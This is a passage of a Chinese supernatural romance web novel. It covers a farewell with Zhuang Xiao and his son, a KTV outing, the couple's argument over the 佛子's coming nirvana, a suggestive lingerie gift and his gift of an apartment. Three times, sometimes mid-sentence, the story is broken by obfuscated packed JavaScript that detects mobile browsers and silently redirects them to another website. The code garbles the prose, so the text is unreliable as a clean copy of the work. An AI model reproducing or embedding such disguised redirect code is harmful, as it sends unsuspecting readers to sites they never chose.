庄晓说,烤箱和烘焙的用具是蒋良霖送他们的,但庄晓带不走。这次做完,施霜景可以跟着网上的教程学一学,庄晓今天做的草莓戚风蛋糕就是最简单的甜品。但施霜景想,他永远不可能像庄晓这样,用刀切分出这么平整的分层蛋糕胚。庄晓使用烘焙工具的样子非常专业,和他失去理智时的落魄形成极大反差。打蛋器的声音,搅拌淡奶油的声音,切草莓的声音。闭上眼睛施霜景会以为这是专业的甜品厨房。 解决纪复森那天,施霜景被罗爱曜提前“请”了出去。施霜景当然有问罗爱曜,之后发生了什么,罗爱曜倒也全部讲了,没有隐藏。 “我们超度了庄乐。庄乐的状态——你当时看见了,可能会以为它还活着,但其实它在纪复森失能之后就没办法坚持了,你可以理解为它用尽全力寄生在纪复森身上,纪复森现在连原型都没办法维持,庄乐就更是没办法。 “庄晓只是犹豫了一下便做好决定,他要送庄乐超度,就此结束痛苦。庄乐的阿赖耶识倒也和人类的有一些相似度,这可能是庄晓给它的礼物吧。而且有小龙在。蒋念琅她家的过去非常复杂,她父亲第一世是烛阴,第二世转世为十殿阎罗之首的秦广王,她母亲则是沃燋石与孽镜台转世。在蒋念琅出生时,蒋良霖和地府闹得很不愉快,但好歹是解决了宿怨,达成和平协议。蒋良霖主动选择收敛自己的阎王职权与能力,但蒋念琅绕开了这个系统——她在这方面有些天赋,她似乎可以超度这些地府生死系统外的生物,因为他们所属的钟山神也是类似的情况。她之前无意间超度了圣母领报修院地下的地脉圣母。 “在送庄乐超度之前,我将庄乐放出来,庄晓主动拥抱了血肉模糊的庄乐,庄乐是在庄晓怀里走的。在庄晓怀里,庄乐不再尖叫痛哭了,离去时非常安详。” 罗爱曜承认,在超度庄乐这件事上,他几乎没有出力,只在一旁预防突发事件。 罗爱曜也解释了,为什么一定要让施霜景离开宝殿。施霜景那时算是死而复生,无法接受来自庄乐或是蒋念琅的刺激。庄乐会让人发疯,蒋念琅的龙气实在是非常危险的东西,不要看她表现得如此人畜无害。 没有切实经历过,只听罗爱曜这潦草的讲述,施霜景努力去想象,却也只能到了解事情经过的地步。脑海中没有画面,其实就是被迫错过了。施霜景永远无法得知庄晓与庄乐的拥抱是骇人还是感人,无法得知蒋念琅化龙超度是何等威风。 更遑论罗爱曜更潦草地讲了讲纪复森的“沙漏装置”——所谓的昆仑。还有西王母。罗爱曜只说残损的昆仑被西王母带回了,她会因此顺便监视纪复森,防止纪复森再回来抢夺这一神山。除了抽象,还是抽象。 这样一想,施霜景受了罪,却没有体验到冒险的精髓。他就连见到昆仑的记忆都没有了,被罗爱曜一并抹去,与施霜景看见密教像的记忆一起消除。 罗爱曜不必说,蒋念琅一家三口不必说,就连庄晓父子都经历了全部。只有施霜景缺席,就好像他缺席是因为他笨一样,笨到非要去送死。那这就不是缺席,是开除。 “做好了。” 庄晓端出蛋糕。施霜景从没有吃过这么新鲜的蛋糕,庄晓做完之后放进冰箱冷藏了一刻钟定型,端出来便可以吃了。 庄晓把圆形蛋糕三等分,不亏待谁也不厚待谁。“我事先说好,不许拿我的蛋糕玩游戏。”庄晓说道。庄理安听不懂人话,那这就是对施霜景说的。施霜景猛猛点头,他知道的。况且他不是那种会砸蛋糕、玩奶油的人。 蛋糕胚厚厚的,奶油均匀适中,甜度恰到好处,施霜景吃了大大一口,这是非常幸福的味道。庄晓做的蛋糕真的非常好吃,不骗人。 “施霜景,你在家也这么少话吗?” “啊?还好。”施霜景顿了顿,“我不太会说话。” “不会,我觉得你很会说话,而且说的话都很得体。” “谢谢。” “我也要谢谢你。”庄晓垂眼,他觉得他吃不完自己的蛋糕了,蛋糕太好吃,以至于让他想起港岛。庄晓也长长地停顿了,然后继续说:“我之前一股脑全说了,谢谢你听我讲那些事。谢谢你在那天出了那么那么那么多力,比我这个爸爸做得更多……我祝你幸福。你会幸福的。你要机灵一点,该享受的时候享受,见机不对就撤退。你和我不一样,你撤退的时候说不定可以找蒋念琅他们帮忙……还谢谢你的眼神,你看我们的眼神……你和他们不一样。你知道我们发生了什么,你不会歧视我们。你也不会嫌我们太愚蠢或是太疯癫。” 庄晓突如其来的连串感谢让施霜景有些手足无措。施霜景觉得自己明明什么都没有做。庄晓说的话也好抽象。施霜景会有什么样的眼神呢?施霜景就只是看着他们而已啊。 施霜景说:“谢谢你的蛋糕和可颂,谢谢你请我来,也谢谢你……”造不出句了。施霜景卡住。 庄晓笑了起来,给施霜景倒茶,让他配着茶一起吃蛋糕,喜欢吃就多吃。庄晓还解释了一下,他不是说别人不好,郎放和蒋良霖当然很好,在地穴里这样救他们,佛子是出了最多力气的最大功臣,蒋念琅是如此优秀的孩子,要是庄理安以后能像蒋念琅一样正直、有天赋就好了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553206|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄晓说他自己流浪太久,看人的时候忍不住恶意揣测,容易敏感。可能因为施霜景也是敏感的人,但施霜景是敏感的好人,所以庄晓和施霜景相处的时候很舒服。 吃着喝着聊着,施霜景在家里坐到四点,一直到罗爱曜给他打电话,罗爱曜叫施霜景上楼。 走之前,施霜景再次邀请庄晓父子去聚餐。这回就连庄理安都知道要挥手说拜拜。 以后还能再见到他们吗?施霜景踩在上楼的阶梯上,这二十几阶走得好辛苦,施霜景不想上楼。这一刻,施霜景想起了他生命中所有告别就不再相见的人们。大家都说着“有机会再聚”,但其实再没有机会,再没有聚过。施霜景知道,自己明天就会调整过来,明天不行就后天……如果施霜景有机会,他真的会去拜访庄晓父子。施霜景想做那个打破告别魔咒的人。 他们一行人出发,分两辆车。这次换了另一家的家宴,施霜景心里空落落的,吃是吃了,喝也喝了,可兴致不太高。 这回的菜当然亦是昂贵,而且施霜景打包了所有的剩菜,这次他没有忘记带走。晚饭后他们两家人想续摊,尤其蒋念琅。带上小孩的娱乐项目总是很有限,郎放说如果下次再聚,他们可以包一个温泉山庄,大人们打打麻将,小孩想干什么都行。蒋良霖说他没有听过施霜景正经唱歌,他好想听,不然去KTV开个包厢,唱到十二点就回家。他们一家人明天中午的飞机,从D市回H市。 施霜景没意见,罗爱曜没去过,但施霜景同意,那他付钱就好。蒋念琅这个小屁孩原本是不可以晚上进KTV的,罗爱曜去找经理解释,反正最后他们还是顺利进入了包厢。 蒋念琅晃荡着双腿,专心致志地用平板点KTV小吃。郎放看施霜景局促,就率先去点了两首歌热场。蒋良霖随后也去了。施霜景看了看他俩点的歌曲,有老歌也有新歌,有国语也有外语,郎放甚至还点了粤语歌。施霜景这才安心地点起了自己喜欢的歌,还问蒋念琅要不要唱,蒋念琅跑过来和施霜景一起点,点完就打乱了播放顺序,小姑娘非常熟练呢。 “去年我和爸爸妈妈去过KTV!”蒋念琅骄傲道,“他们约会也要带上我才可以!” 施霜景被蒋念琅逗乐。 施霜景看向端坐的罗爱曜。罗爱曜望着荧光屏幕,面上无甚表情,看不出他对这项娱乐活动的态度。只有这种时刻,施霜景才意识到,罗爱曜是不属于这个时代的人。罗爱曜甚至不喜欢施霜景唱的大部分歌曲。现在似乎意见没那么大了?可罗爱曜的态度应该不会改。 “你不去试试吗?” 施霜景凑到罗爱曜身旁,低声问道。 “兴趣不大,我听你们唱就行了。” “那你会不会觉得有点无聊?” 这是显而易见的事,施霜景非要问,罗爱曜顾及所有人的面子和兴致,尤其施霜景的,罗爱曜便换了一个说法:“有时候我也得陪陪你。你不想吗?” “想。” 施霜景想喝啤酒了。 101.山鲁佐德 罗爱曜说:“不许喝。” 施霜景说:“为什么?我没有那么容易醉吧?你刚来我家那次喝醉肯定是酒的问题。” 施霜景这人身上有许多矛盾成分,成熟和天真,这两股力量在他身上撕扯,留下了许多形状不明的伤疤,也可以说是成长痕迹。他很习惯劳作、自给,也期盼回归书本与知识。他曾打架斗殴,但更渴望平静。喝酒也是一样。其实施霜景的喝酒史很早,早在他初中的时候就和福利院的不安分孩子一起喝过了,那时候不懂事,白的啤的混着喝,喝不死施霜景,施霜景就认为自己很会喝酒。很便宜的啤酒兑很便宜的二锅头,醉效快,那些孩子是想用酒迅速打晕自己,只有施霜景把喝酒当成长的证明。之前与K歌房网友聚会,他们也喝,施霜景知道,在一些场合他就是要喝酒,或是陪喝。施霜景不讨厌小麦发酵的味道。 罗爱曜说:“我不想你喝。” 施霜景说:“我前几天喝香槟也没有醉啊。我不会醉的。” 喝酒这件事,罗爱曜同施霜景说不明白。归根到底,还是罗爱曜得意忘形了。归根到底,喝酒不喝酒的,难道是很重要的一件事吗?可罗爱曜好像并不喜欢施霜景喝酒。香槟那次是罗爱曜得意忘形,忘了劝,也不想煞风景。现在想来,还是不喜欢施霜景念着酒水。说不出理由。正是这“说不出理由”让罗爱曜微微一惊,分不清这是好恶问题,还是别的更隐蔽的问题。明明罗爱曜自己喝酒毫无顾忌。罗爱曜知道自己这行为叫做双标。 郎放听见施霜景低声去求罗爱曜,郎放不吭声,在平板上点了几瓶啤酒来,等服务员送到的时候,施霜景在唱歌。 蒋良霖接过郎放打开的啤酒瓶,以为是给自己,郎放伏在蒋良霖耳边说了几句,蒋良霖就放下酒瓶,自己给自己找补,说要开车,差点忘了这回事。郎放将酒递给施霜景。 罗爱曜微眯眼睛,看他们的互动,施霜景开心地接过酒,继续唱那些品味低下的歌曲。 说过“喜欢”,所以就要久久地经受这些吗?罗爱曜心中微妙地闪过一丝蔑视。蔑视谁?“这些”是什么?这些质疑更是毫无来由、毫无章法的。罗爱曜看蒋良霖和郎放,三生三世之情,烛阴与天地之灵,相配,不会有身份的纠葛。施霜景唱仿古的歌词,不伦不类,唱到动情的时候他忍不住弯腰,高音低音都能唱,唱得十分痛快。这和罗爱曜在家听施霜景唱歌感觉不同,也与罗爱曜听施霜景在元旦联欢会唱歌不同。有某种很焦躁的感觉在胸中烧,好像是埋怨自己,又好像是向外埋怨。难道以后都听不到了吗?难道要为了以后都听到,而放弃什么吗? 这个夜晚并不无聊。罗爱曜在霓虹炫光、嘈杂歌声中想了很多很多。他鲜少有这样丧失头绪的漫想,到头来一点结果都没有。他甚至面上很快就调整好了。既然说过“喜欢”,那就要好好听。施霜景唱情歌的时候看着他,他当然动容。郎放和蒋良霖也能感觉到这二人之间气氛变了,似乎变得很浓稠,又似乎仍然危险。这危险绝对是因为罗爱曜,罗爱曜依旧是危险的存在。 唱告白,唱失恋,唱后悔,唱勇敢,唱壮志凌云,唱壮志未酬。就连蒋良霖也秀了他的英文歌水平。罗爱曜不唱歌,从头到尾一个字都没唱过,施霜景把话筒强抵到罗爱曜嘴旁,罗爱曜就发出混响声音:“不会唱。”仿佛在犯犟。当然,施霜景之后没有再试,罗爱曜拒绝过一次、两次,第三次肯定就不要送上去触霉头了。 施霜景喝了两瓶啤酒,确实没醉,只是多上了两回厕所。一行人唱尽兴了,有小孩在,肯定不会玩酒桌游戏,在包厢时间未到之时,没有更多歌曲,场子便冷寂下来,紫光蓝光绿光轮闪,施霜景理了理衣服,看向一家三口,蒋念琅又过来抱抱施霜景,这回施霜景久久地拥着她,就好像她是施霜景的妹妹一样。蒋良霖说,不要那么伤感啦,我家地址又不会改,佛子涅槃的时候他们一家人肯定还要回来的,蒋念琅现在可是护法小龙女,小景要好好学习,考上大学,实现自己的愿望——可千万别把佛子砸手里了! 他们一行人出包厢门,一家三口走在前,施霜景和罗爱曜走在后。两人的手碰在一起,自然地相牵。开车回家的路上,施霜景没有睡觉,他前几天刷短视频看到,坐副驾驶的人睡觉其实是很没礼貌的,开车的人很辛苦,陪对方说说话都好。 施霜景的所有心思在罗爱曜看来,都像是一枚晶莹剔透的冰球,用一根红线悬着,来回摆荡,一次落下就是一种澄明的心思,罗爱曜样样都看得清楚、明白,可摸起来是冷的,红线如血线。难道这感情对罗爱曜来说……也是危险? 凌晨回家,施霜景先打开了三楼的门,也就是庄晓父子借住的那间房。果然,屋内一阵凉气,人早已走了,空留下甜香余味。 他们回四楼,一进家,施霜景就去烧开水,嗓子唱得有些哑了,他顺便问罗爱曜要不要喝茶,忽然施霜景腰上一紧,紧接着下巴被侧转过来,罗爱曜从身后侧吻住他,施霜景被吻得一怔,刚欲沉溺进去,罗爱曜就松开嘴,几乎是嘴唇贴嘴唇地问施霜景:“你要我涅槃吗?” “你肯定要涅槃。”施霜景从来不怀疑这个问题。 “我问的是,你要不要我涅槃?”罗爱曜咬重了“要不要”这三个字,就好像施霜景有的选一样。 “为什么……” 又被亲吻住,话都吞进肚子里。施霜景转过身来,后腰抵靠着厨房桌台。为什么要问我这个问题? “你以为涅槃是什么?是我以后还像你的神一样,你许愿,我就现身,你还能摸到我、碰到我,像现在这样?”罗爱曜竟然从没有向施霜景讲过到底什么是涅槃,潜意识逃避这回事,今天是告别的日子,罗爱曜不是要教施霜景适应告别,但难道——施霜景不想问吗? 罗爱曜说“摸到我、碰到我”,施霜景就伸手抚摸罗爱曜,从手臂到肩膀,从脖子到脸颊,像盲人摸爱人继而记住触感那样,施霜景说:“我搜过,我知道什么是涅槃。你是佛子,你要涅槃。如果不涅槃,你要去哪儿?难道你要陪我?” 不要罗爱曜回答,施霜景兀自接下去:“我是人类,只活几十年,你愿意陪我进坟墓再去涅槃,听起来你不亏,我倒赚。你是这个意思吗?” “不是。”罗爱曜的蓝目轻微颤动,“我也陪不了你几十年。我不知道我能否忍受这样的生活。” 有那么一瞬,施霜景听不懂罗爱曜说的“这样的生活”究竟是指什么样的生活?施霜景好迷茫。罗爱曜迷茫了,施霜景只会比他更迷茫。 “你为什么不留我呢?”罗爱曜陷进去了。 “我在留啊!我没有留吗?”施霜景压低声音,他被问得好无辜,“我难道可以求你不要涅槃,想想办法,让我和你一样长生不老,我们一直在一起——你是这个意思吗?这可能吗?我活成这个样子,你问我答案……” “我看不到有转化你的可能性。如果要我陪你到死再涅槃,我也做不到。”罗爱曜说,“我不喜欢这些事,这个奇怪的时代,所有的事都太容易让我无聊了,你也是个很单调的人。但是我想到你被留在这里,这辈子死了,下辈子会有转世,还会有下下辈子——你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553207|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得我真的走得了吗?” 施霜景既觉得自己被骂了,又好像终于触摸到了爱的形状。罗爱曜嘴巴很坏,有时候心也很坏,但这是施霜景第一次见到罗爱曜这样的神色,明明晚上喝酒的是施霜景而不是罗爱曜,仿佛罗爱曜需要施霜景哄。 施霜景放弃理解罗爱曜,也或许罗爱曜自己都无法理解自己,“你那时候为什么说要杀了我?”施霜景忽然又想起那天罗爱曜的怒容。 宝殿那次,罗爱曜所说——“如若不想活,干脆我杀了你。我本就不得涅槃,如今我也不想再试了。” 是不是那次,罗爱曜就已经生了我执妄念,一念接一念,对罗爱曜来说是新鲜的压力,而罗爱曜其实根本不像表面上那么无所谓? 罗爱曜说:“我恨这种牵绊的感觉。” 施霜景说:“这就是生活。你要涅槃。你要去更好的地方。长痛不如短痛,我也不要被你杀,或者被你突然丢下。我不是你不涅槃的理由。我不要你恨我。” “我不会恨你。我恨的不是你。” “罗爱曜,看着我的眼睛。”施霜景说,“你一定要涅槃。你是那么厉害的佛子,不成佛会后悔。你如果后悔,我承受不了你的代价。我如果被你杀,我一定会恨你。我不想我们变成这样。” 罗爱曜推开施霜景,他难得地犯头痛,太多陌生的情感冲击他,“我以为你会留我。原来只是怕我恨你。那这样凭什么……” “我喜欢你,罗爱曜。” 可是我也怕你。 施霜景找不到任何其他理由了。或许在罗爱曜的这般纠缠下,施霜景才不得不承认,原来在心底深处,施霜景仍怕罗爱曜。那是一种本能的怕,人对非人的怕,早在什么庄晓什么其他人出现之前就存在的怕。 罗爱曜读到这想法,今晚的失态终于像掉落悬崖的车,一切已成定局。原来施霜景是怕。原来都是怕。此刻施霜景的脸与过往所有接触过的人类好像又混作一团。要佛子涅槃,然后呢?无非都是想送走他。温情皆是缓兵之计。 “或许你说得没错,我失去兴趣的时候,的确会做出残忍之事。我不知道什么是喜欢。我到现在还是这样,兴许比起涅槃,爱更难。” 罗爱曜冷静下来,施霜景亦是。两人之间空气几乎不再流动了,冰凝了,真空的绝对低温。 “佛子,可能你忘了,但我想再问一次——如果你愿意,我们可以当朋友。” “免了。” 知道罗爱曜能读心,知道今晚喝了酒,或许这些话可以直接说出口。施霜景刚倒的热水在瓷杯里已可以入口,刚刚好的温度。 施霜景将水杯递给罗爱曜,“你看,你连朋友都不愿意和我做。你不会喜欢人间的生活的。你不属于这个世界,也不属于我。我只想让你看得起我。一点点都好。” 罗爱曜接过水杯。 “我会涅槃。我为什么不涅槃呢?”罗爱曜自问,又提振情绪,确认之后至少不再焦躁,“我承认我有点看错你了,施霜景。你与我了解的你竟然还有出入。” “是吗?你不会明天又跑来问我,要我求你不要涅槃吧?” 罗爱曜被施霜景这句反问气笑,也或许没有再气了,施霜景真是挺硬气的,罗爱曜说:“我今天问完便确认了,以后都不会再问。我许诺你,我会涅槃。如若有任何差错,我都不会恨你。我会在完成你心愿后涅槃。” “那我们就去睡觉吧。” 施霜景伸手碰了碰罗爱曜,发现罗爱曜不抗拒,他便推着罗爱曜,离开厨房。 102.我有礼物吗 施霜景不知道罗爱曜会不会生气,他只知道晚上他们依旧相对而眠。没有什么公平不公平,罗爱曜知道施霜景想什么,那他就知道,就回应,就想办法。否则为什么不开一扇窗,让施霜景也知道罗爱曜在想什么呢? 两人说这些话不是为了伤害谁、出气、泄愤或是任何其他回旋一枪。说过了,知晓了。告别的话语留在告别的日子。新的一天太阳照常升起。施霜景的人生准则就是看见太阳,确认爱的人或猫依旧在这里。今天是今天的快乐。不快乐那就尽数吞下,消化后再由马桶冲走。施霜景是有思想的消化器官,他要主动选择吸收什么养分,并排出残余无益的。 罗爱曜也权当完全没有问过那连串的问题。蒋良霖一家已经走了,昨天那句玩笑其实很有含金量——“可千万别把佛子砸手里了”。这是在拿施霜景的学业成绩开玩笑。 罗爱曜当老师,施霜景当学生,在春节前抓紧时间多学一些。罗爱曜将投影仪搬到客厅,挪出一整面白墙。罗爱曜最近开始看电影。 施霜景背对客厅,做数学必修书上例题,背公式和定理。罗爱曜戴耳机,在施霜景身后看投影屏,屋里静悄悄,只有纸笔沙沙的声音。猫睡在施霜景旁边的椅子上,施霜景略施小计,给椅子铺上一层绒毯,这样玉米就会被封印在软乎乎的毯子上,这样又能离施霜景很近。 三楼的房子需要做些处理才能搬回去。施霜景不觉着急。 要过年了。 施霜景从来没有这么期待过年。活到二十岁,这是第一次觉得过年是盼头。 不约而同地,施霜景和罗爱曜都认为可以拥抱一种更热闹的过年气氛。施霜景从福利院搬出来已两年有余,每年过年还是会回去的,受尽白院长冷言冷语也要回去。罗爱曜则是要体验一种过年的氛围,人愈多愈好,正好鬼子母神也在福利院。 施霜景列好年货采买的长长单子,前两周他已往福利院送了很多肉,刘茜和高大爷为新年做香肠,现在已是琳琳琅琅挂了一走廊。施霜景要买的是他们过年期间在家自己开火做饭的食材,在农历二十八号那天,施霜景携罗爱曜去赶早间的菜市场,过了今天,就没有新鲜的菜与肉了,一直到大年初三才会有一些小摊贩过来贩菜,但数量和种类也不多。 至于对联窗花,施霜景早在赶集时就买好了,只等年三十贴出来。他买了两份,三楼四楼的房子都贴。 买冻鱼,买菜苔,买猪牛羊,买橘子、苹果、柚子和不一定甜的西瓜,买新鲜炒制的瓜子,买散装零食,买炮台一样的老式爆米花机炸出的米花。地湿湿的,人的眼前都笼着呼吸出的霜白寒气,施霜景戴帽子,罗爱曜戴手套,两人好像是淹没在寻常里,又好像是鲜明地浮在尘烟之上,集市的拼图以家庭为单位,一家人是一家人的欢乐场,施霜景和罗爱曜的颜色拼连在一起,那天他们都穿靛蓝色。买完东西,去驿站取包裹,施霜景专门希望罗爱曜开车帮忙,他给福利院的孩子们以及刘茜、高大爷都买了过年的礼物。 “我的礼物是什么?”罗爱曜关上后备箱,预感这些快递物里肯定没有属于自己的。 施霜景正色道:“这真的难倒我了。你的礼物……送错了会有很不好的后果吧,而且我也想不出来你缺什么,或是想要什么。” 罗爱曜撇撇嘴,话是没错,但施霜景不可以这样。 而且在罗爱曜看来,施霜景应该就是没有想过这个问题。唉,这个问题问得实在自讨没趣。罗爱曜回驾驶座。 施霜景重新掀开后备箱,在众多灰色快递袋里翻找,终于找到一件,他仔细对了对店家,标签上的货物名字只是代称,让人看不出包裹里是什么。 “你现在就可以拆。”施霜景坐进副驾驶座,将包裹递给罗爱曜。 罗爱曜先打方向盘,将车从闹街往家里开,车的速度肯定比双脚快,罗爱曜在楼下停稳车子,拉好手刹,徒手拆快递。 拆出一个意义不明的粉盒子,罗爱曜打开来,塑封袋里装了一件又一件,罗爱曜数了数,有□□件的样子。“送我?什么意思?这些线和布,你穿?”罗爱曜将粉盒子还给施霜景。 施霜景猜到罗爱曜会是这样的反应了,他拍拍盒子,“只能是我穿吧,难道能指望你穿?”施霜景学了学罗爱曜那种反问的语气。 “你跟谁学的?买QQNY——把自己当礼物。” “我二十岁了,这种东西需要学?” 罗爱曜上一秒醋意大发,下一秒回归冷静,给哄好了。罗爱曜有点不能接受施霜景去向别人取经要怎么给他送□□当礼物,但如果是施霜景无师自通,那罗爱曜非常接受。 “店是郎放推荐的。” “……” 施霜景抱着盒子,送去福利院的快递都不用拿,他们只要带自己的东西回家就好。 现在想起郎放当时当面给施霜景发这些店铺的表情,施霜景仍觉得非常反差。郎放非常淡定地问他,你是要像衣服的,还是不像衣服的。施霜景有点愣住,什么叫“不像衣服”?郎放有收藏专门贩售制服的店,也有只卖几根线、几块布的店。施霜景红着脸和耳朵,选了几根线、几块布的款式。其实那时施霜景脑子里没有任何人在穿这些东西,代入的既不是自己,也不是别人,单纯只是非常受这种款式的诱惑。 回到家,罗爱曜忽然从施霜景手里接过盒子,兀自打开,选了一袋,拆包,抖出几根线和非常薄的蕾丝一片布,手提着在施霜景眼前不停晃,“穿这种东西,成何体统!半点品味都没有!施霜景,你还不如继续穿你的破布卫衣和牛仔裤跟我上床。这几根线的东西穿起来跟捆肉有何区别?” 施霜景被那几根线晃得心烦,一把夺了下来,“不喜欢就算了。我现在就去退货。” “不许退。送我的东西,哪有退的道理。” “花了钱的,不喜欢当然要退。”施霜景说,“况且你觉得我穿起来像捆肉,你这么一说,我也觉得是这样。” “我只是更喜欢你不穿衣服。” “我早就把我送给你了。” 施霜景叠好蕾丝QQNY,装进袋中。他是俗的,他就这样。短视频说书的故事里,女主角将自己当礼物送给男主角。施霜景很直线条地想,红色蕾丝就是新年礼物。已经送过的东西,好好包装一下还可以再利用。施霜景做这些的时候真是非常坦荡。他偶尔会觉得,罗爱曜其实很不挑。 这下搞得罗爱曜不好再对礼物挑剔。依旧是那种很复杂的心态。施霜景的礼物大俗,罗爱曜的审美大雅,罗爱曜想要,但又嘴硬。犟了小半会儿,罗爱曜不要施霜景退,勉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558938|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强承认,其实还是想看施霜景穿。可以跨年做的时候穿。 很可惜,他们没办法回这个小家一起跨年了。 刘茜在大年二十九那天致电施霜景:“小景,唉……不知道怎么说才好。我恐怕要临时回家一趟,我,唉……我前夫生病,儿子和儿媳吵架,现在儿媳回了娘家,没把孩子带走,我儿子要我回去搭把手。我不知道他们到底做了什么,要回家看看。我只买到今天的车票,明天除夕,买不到票。老高一个人做饭忙不过来,我们也没办法去临时找人帮忙,你能过来搭把手,顺便照看一下孩子们吗?对了,白东达之前私吞了你的补助款,我接手之后才知道这回事,现在重新写了申请,已经批准了。你原本每个月可以得一千五百块的补贴,你把银行卡号发给我,年后他们就会按时打到你的卡上,要是你能顺利考上大学,按照孤儿的补贴办法,你每个月能拿两千左右呢。” 施霜景连忙拒绝,他特别能理解刘茜的好意,但他现在有钱,这钱应该流向更需要的人。可是刘茜说,这钱该是施霜景收下,换一张卡存都好,万一以后那些大钱都做不得数了……刘茜说到这里,话锋一转,说这是国家的福利,施霜景过了很艰难的两年,再多收半年,这是合理的。反正刘茜劝施霜景收下,意思是她怕佛子离开后,那些钱都做随佛子离去,施霜景又孑然一身,镜花水月一场空。 两人在电话里又聊了聊,施霜景答应去帮忙,叫刘茜不要担心。刘茜说,她把二楼另一间空房间清理出来了,就是他们曾经关住?人那间,现在何晓栋就住在那儿,何晓栋也会帮忙。何晓栋回厂里面试工人,原本是没过的,可何晓栋与厂里其他人有些关系,请老工人介绍和担保,说是年后再给他一次机会,要是面试通过就可以进实习期,只是现在何晓栋就已经开始当老工人的学徒,学些手艺了。 年三十当日,施霜景起了个大早,先在家里贴窗花,罗爱曜起床,他们吃过早餐,施霜景才叫罗爱曜陪他贴对联。两人个子都高,连凳子都不用踩。施霜景剪胶带,罗爱曜贴对联,施霜景分不清上下联,罗爱曜一读就知道。罗爱曜还经常抬脚把试图跑出门的玉米拦住,不许它出来。贴完四楼贴三楼。大门的福字要正着贴,比猫眼略低,不要遮住猫眼。 “我要去福利院帮忙,你可以傍晚再来,我们六点开饭,怎么样?” “我同你一起去。车里不是还有你买的礼物?” “你晚上开车过来也是一样的。” “我不能现在就去?” “……能。不过可能会很乱、很吵。” “无碍。” 穿完鞋又戴围巾、帽子的时候,施霜景忽然想起,“佛子,我有礼物吗?” 罗爱曜真想说,我才是你的礼物。仔细衡量下来,是不是罗爱曜也拿他自己抵作礼物了?给施霜景撑腰,带施霜景见世面,给施霜景当老师、小舅、男朋友,要不是怕直接给钱会索命,就该给施霜景送副卡了。罗爱曜也真该给自己系个红带子,说“我也早就把我送给你了”。 罗爱曜当然没这么说。 他说:“我也想不出来你缺什么,或是想要什么。我把这里和楼下都买下来送你了,也算有个地方可以给你建户口本。” 他说:“这是最快的办法,可以给你一个家。” 103.细马春蚕篇(一) 完全没有办法向罗爱曜生气。在小事上和他争辩几句,遇大事却总是哑口无言。罗爱曜可以嘲讽施霜景送的不得体礼物,但他转手送一样熨帖的,礼物像山一样压下来。施霜景也总是会被这样哄好。哄得太好了。施霜景连谢谢都说不出口。要怎么办?说谢会不会太生分?罗爱曜只是扭着施霜景的肩膀,要他转身、出门。别说了。我知道。 施霜景下楼时魂不守舍,到楼外,他往上望,半点实感都没有。 再望向罗爱曜,那张精致的脸,想不出他会做这种种,其实完全算是爱的举动。施霜景有些痴了,问他:“那你的户口落在哪里?” “随意。” “我们可以一人一间。我知道户口不是亲属就不能落在一起。” 罗爱曜的手指在兜里转车钥匙环,心下非常轻松,“或者,我收养你?” “你已经在养我了。”施霜景认真道,“收养——成年人也可以被收养吗?” “我在开玩笑。” “没关系。要是我们能在一个户口本里就好了。这才是家啊。”施霜景说。 “要是宠物也能上户口本就更像一个家了。”罗爱曜拉开车门,做出一个请的手势,施霜景眼睛里压着泪意,闪身坐进车里之前,施霜景揽住罗爱曜的脖子,亲了亲他的唇边,这才坐进车里。 在这从家里开往福利院的短短一截路,施霜景很想弄明白,为什么自己会这么想哭。是被善待了吗?是罗爱曜太清楚施霜景的需求并满足了吗?是发现这已经算是爱甚至超过爱了吗?是——想到这份爱太密集且有限定期吗?是发现这很像预备后事、安排他离去后的照顾手段吗?是因为——因为罗爱曜注定要走、许诺要走,所以施霜景有了身为人类的安全感,然后罗爱曜仍待他好,于是施霜景就在人类的安全感与爱人的失落感里迷失了吗?是因为这一刻罗爱曜的大度,让施霜景发现自己其实是个卑鄙的人吗?施霜景只知道那天晚上罗爱曜失态没有影响到罗爱曜对施霜景的态度。你的认真与考量都好不真实,但我知道你确实是这样的人。要是能学到半分就好了。我那天一定让你很失望。 罗爱曜不言,品尝着施霜景心中分泌出的那些新的爱。罗爱曜没有想那么多。他只是觉得施霜景也需要往上走,要从衣食住行这样的基本需求中挣脱出来。罗爱曜不想让自己的爱如此没用。罗爱曜没有爱,但他会想,倘若他有爱,这爱要让施霜景变轻,太重的人会下地狱。其实那晚,罗爱曜就已经想明白,施霜景想罗爱曜往上走,罗爱曜又何尝不想让施霜景也往上走。只不过施霜景的太具体,罗爱曜的太抽象。要是能中和一下就好了。爱要是混合剂就好了。 罗爱曜或许只想问,如果不是遇见施霜景,换一个人,一切会不会不一样?从前没有的念头,为何现在有了? 早上他们抵达福利院,高大爷拉开院门,让罗爱曜将车停进来。 